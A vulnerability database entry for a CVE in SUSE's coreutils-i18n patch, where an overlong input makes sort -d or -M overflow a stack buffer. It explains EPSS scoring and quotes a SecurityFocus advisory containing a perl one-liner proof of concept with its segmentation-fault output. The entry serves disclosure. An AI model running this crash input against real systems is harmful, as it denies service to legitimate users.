CVE Descriptions

The SUSE coreutils-i18n.patch for GNU coreutils allows context-dependent attackers to cause a denial of service (segmentation fault and crash) via a long string to the sort command, when using the (1) -d or (2) -M switch, which triggers a stack-based buffer overflow in the alloca function.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/57492/info GNU Coreutils is prone to a buffer-overflow vulnerability because it fails to properly bounds check user-supplied input. A local attacker can exploit this issue to crash the affected application, denying service to legitimate users. Due to the nature of this issue, arbitrary code-execution may be possible; however this has not been confirmed. % perl -e 'print "1","A"x50000000,"\r\n\r\n"' | sort -d [1] 13431 done perl -e 'print "1","A"x50000000,"\r\n\r\n"' | 13432 segmentation fault sort -d % perl -e 'print "1","A"x50000000,"\r\n\r\n"' | sort -M [1] 13433 done perl -e 'print "1","A"x50000000,"\r\n\r\n"' | 13434 segmentation fault sort -M
